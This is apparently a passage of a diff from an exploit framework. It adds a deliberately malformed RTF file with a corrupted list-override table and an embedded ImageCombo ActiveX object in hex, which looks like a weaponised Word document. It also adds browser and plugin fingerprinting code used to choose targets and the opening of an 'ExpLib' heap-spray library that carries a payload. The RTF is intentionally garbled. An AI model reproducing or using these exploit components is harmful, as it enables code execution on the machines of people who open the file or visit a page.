|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25
|
||||
{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}}
|
||||
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}}
|
||||
{\lfolevel}{\lfolevel}{\lfolevel}
|
||||
\ls16962}}
|
||||
{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000
|
||||
4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000
|
||||
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c
|
||||
bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
|
||||
000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000
|
||||
560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00
|
||||
0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100
|
||||
6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18
|
||||
5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000
|
||||
0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400
|
||||
00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700
|
||||
69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000
|
||||
0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000
|
||||
0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00
|
||||
30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76
|
||||
f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500
|
||||
00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600
|
||||
0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e
|
||||
4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400
|
||||
e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900
|
||||
660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400
|
||||
0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712
|
||||
2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000
|
||||
ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400
|
||||
0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000
|
||||
00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000
|
||||
985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00
|
||||
00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000
|
||||
100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800
|
||||
00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800
|
||||
050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24
|
||||
003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00
|
||||
0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053
|
||||
65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000
|
||||
0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001
|
||||
0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02
|
||||
000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902
|
||||
000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
|
||||
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055
|
||||
0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400
|
||||
730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000
|
||||
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
|
||||
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000
|
||||
050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000
|
||||
0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000
|
||||
26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000
|
||||
00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe
|
||||
ce0509000000fa02060040000000ff0033022200040000002d0102000500000014024efece050500000013022c00ac07040000002d010000040000002d01010004000000f0010200040000002701ffff040000002d010000040000002d010100030000001e000700000016043400b4074efece0509000000fa0206004000
|
||||
0000ff0033022200040000002d0102000500000014024efeac070500000013022c00ce05040000002d010000040000002d01010004000000f0010200040000002701ffff0f00000026060f001400544e505004000c000000000000000000000000000900000026060f000800ffffffff01000000040000002d0100000400
|
||||
00002d010100030000000000}}}}}}}}}}}}}}}}}}}}}}}
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
|
@ -46,6 +46,53 @@ window.misc_addons_detect.hasSilverlight = function () {
|
|||
return found;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Adobe Flash version
|
||||
**/
|
||||
window.misc_addons_detect.getFlashVersion = function () {
|
||||
var foundVersion = null;
|
||||
|
||||
//
|
||||
// Gets the Flash version by using the GetVariable function via ActiveX
|
||||
//
|
||||
try {
|
||||
var ax = new ActiveXObject('ShockwaveFlash.ShockwaveFlash').GetVariable('$version').toString();
|
||||
foundVersion = ax.match(/[\d,]+/g)[0].replace(/,/g, '.')
|
||||
} catch (e) {}
|
||||
|
||||
//
|
||||
// This should work fine for most non-IE browsers
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var mimes = window.navigator.mimeTypes;
|
||||
for (var i=0; i<mimes.length; i++) {
|
||||
var pluginDesc = mimes[i].enabledPlugin.description.toString();
|
||||
var m = pluginDesc.match(/Shockwave Flash [\d\.]+/g);
|
||||
if (m != null) {
|
||||
foundVersion = m[0].match(/\d.+/g)[0];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Detection for Windows + Firefox
|
||||
//
|
||||
if (foundVersion == null) {
|
||||
var pluginsCount = navigator.plugins.length;
|
||||
for (i=0; i < pluginsCount; i++) {
|
||||
var pluginName = navigator.plugins[i].name;
|
||||
var pluginVersion = navigator.plugins[i].version;
|
||||
if (/Shockwave Flash/.test(pluginName) && pluginVersion != undefined) {
|
||||
foundVersion = navigator.plugins[i].version;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return foundVersion;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Java version
|
||||
**/
|
||||
|
|
|
|||
|
|
@ -20,6 +20,7 @@ arch_armle = "armle";
|
|||
arch_x86 = "x86";
|
||||
arch_x86_64 = "x86_64";
|
||||
arch_ppc = "ppc";
|
||||
arch_mipsle = "mipsle";
|
||||
|
||||
window.os_detect = {};
|
||||
|
||||
|
|
@ -184,6 +185,15 @@ window.os_detect.getVersion = function(){
|
|||
} else if (platform.match(/arm/)) {
|
||||
// Android and maemo
|
||||
arch = arch_armle;
|
||||
} else if (platform.match(/x86/)) {
|
||||
arch = arch_x86;
|
||||
} else if (platform.match(/mips/)) {
|
||||
arch = arch_mipsle;
|
||||
}
|
||||
|
||||
|
||||
if (navigator.userAgent.match(/android/i)) {
|
||||
os_flavor = 'Android';
|
||||
}
|
||||
} else if (platform.match(/windows/)) {
|
||||
os_name = oses_windows;
|
||||
|
|
@ -193,8 +203,7 @@ window.os_detect.getVersion = function(){
|
|||
if (!ua_version || 0 == ua_version.length) {
|
||||
ua_is_lying = true;
|
||||
}
|
||||
} else if (!document.all && navigator.taintEnabled ||
|
||||
'MozBlobBuilder' in window) {
|
||||
} else if (navigator.oscpu && !document.all && navigator.taintEnabled || 'MozBlobBuilder' in window) {
|
||||
// Use taintEnabled to identify FF since other recent browsers
|
||||
// implement window.getComputedStyle now. For some reason, checking for
|
||||
// taintEnabled seems to cause IE 6 to stop parsing, so make sure this
|
||||
|
|
@ -210,7 +219,15 @@ window.os_detect.getVersion = function(){
|
|||
// Thanks to developer.mozilla.org "Firefox for developers" series for most
|
||||
// of these.
|
||||
// Release changelogs: http://www.mozilla.org/en-US/firefox/releases/
|
||||
if (css_is_valid('background-attachment',
|
||||
if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) {
|
||||
ua_version = '28.0';
|
||||
} else if (css_is_valid('cursor', 'cursor', 'grab')) {
|
||||
ua_version = '27.0';
|
||||
} else if (css_is_valid('image-orientation',
|
||||
'imageOrientation',
|
||||
'0deg')) {
|
||||
ua_version = '26.0';
|
||||
} else if (css_is_valid('background-attachment',
|
||||
'backgroundAttachment',
|
||||
'local')) {
|
||||
ua_version = '25.0';
|
||||
|
|
@ -867,12 +884,60 @@ window.os_detect.getVersion = function(){
|
|||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016502":
|
||||
// IE 9.0.8112.16502 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016506":
|
||||
// IE 9.0.8112.16506 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016514":
|
||||
// IE 9.0.8112.16514 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016520":
|
||||
// IE 9.0.8112.16520 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016526":
|
||||
// IE 9.0.8112.16526 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "9016533":
|
||||
// IE 9.0.8112.16533 / Windows 7 SP1
|
||||
ua_version = "9.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016720":
|
||||
// IE 10.0.9200.16721 / Windows 7 SP1
|
||||
ua_version = "10.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "11016428":
|
||||
// IE 11.0.9600.16428 / Windows 7 SP1
|
||||
ua_version = "11.0";
|
||||
os_flavor = "7";
|
||||
os_sp = "SP1";
|
||||
break;
|
||||
case "10016384":
|
||||
// IE 10.0.9200.16384 / Windows 8 x86
|
||||
ua_version = "10.0";
|
||||
os_flavor = "8";
|
||||
os_sp = "SP0";
|
||||
break;
|
||||
case "1000":
|
||||
// IE 10.0.8400.0 (Pre-release + KB2702844), Windows 8 x86 English Pre-release
|
||||
ua_version = "10.0";
|
||||
|
|
@ -887,14 +952,40 @@ window.os_detect.getVersion = function(){
|
|||
if (!ua_version) {
|
||||
// The ScriptEngine functions failed us, try some object detection
|
||||
if (document.documentElement && (typeof document.documentElement.style.maxHeight)!="undefined") {
|
||||
// IE8 detection straight from IEBlog. Thank you Microsoft.
|
||||
// IE 11 detection, see: http://msdn.microsoft.com/en-us/library/ie/bg182625(v=vs.85).aspx
|
||||
try {
|
||||
ua_version = "8.0";
|
||||
document.documentElement.style.display = "table-cell";
|
||||
} catch(e) {
|
||||
// This executes in IE7,
|
||||
// but not IE8, regardless of mode
|
||||
ua_version = "7.0";
|
||||
if (document.__proto__ != undefined) { ua_version = "11.0"; }
|
||||
} catch (e) {}
|
||||
|
||||
// IE 10 detection using nodeName
|
||||
if (!ua_version) {
|
||||
try {
|
||||
var badNode = document.createElement && document.createElement("badname");
|
||||
if (badNode && badNode.nodeName === "BADNAME") { ua_version = "10.0"; }
|
||||
} catch(e) {}
|
||||
}
|
||||
|
||||
// IE 9 detection based on a "Object doesn't support property or method" error
|
||||
if (!ua_version) {
|
||||
try {
|
||||
document.BADNAME();
|
||||
} catch(e) {
|
||||
if (e.message.indexOf("BADNAME") > 0) {
|
||||
ua_version = "9.0";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// IE8 detection straight from IEBlog. Thank you Microsoft.
|
||||
if (!ua_version) {
|
||||
try {
|
||||
ua_version = "8.0";
|
||||
document.documentElement.style.display = "table-cell";
|
||||
} catch(e) {
|
||||
// This executes in IE7,
|
||||
// but not IE8, regardless of mode
|
||||
ua_version = "7.0";
|
||||
}
|
||||
}
|
||||
} else if (document.compatMode) {
|
||||
ua_version = "6.0";
|
||||
|
|
|
|||
|
|
@ -0,0 +1,426 @@
|
|||
|
||||
|
||||
ExpLib = (function() {
|
||||
|
||||
function ExpLib( num_arrays, arr_size, base, payload ) {
|
||||
this.arr1 = null;
|
||||
this.arr2 = null;
|
||||
this.base = base;
|
||||
this.arr_size = arr_size;
|
||||
this.arr_arr = null;
|
||||
// Allows to control the contents of the sprayed memory.
|
||||
// Have into account some array positions will be corrupted
|
||||
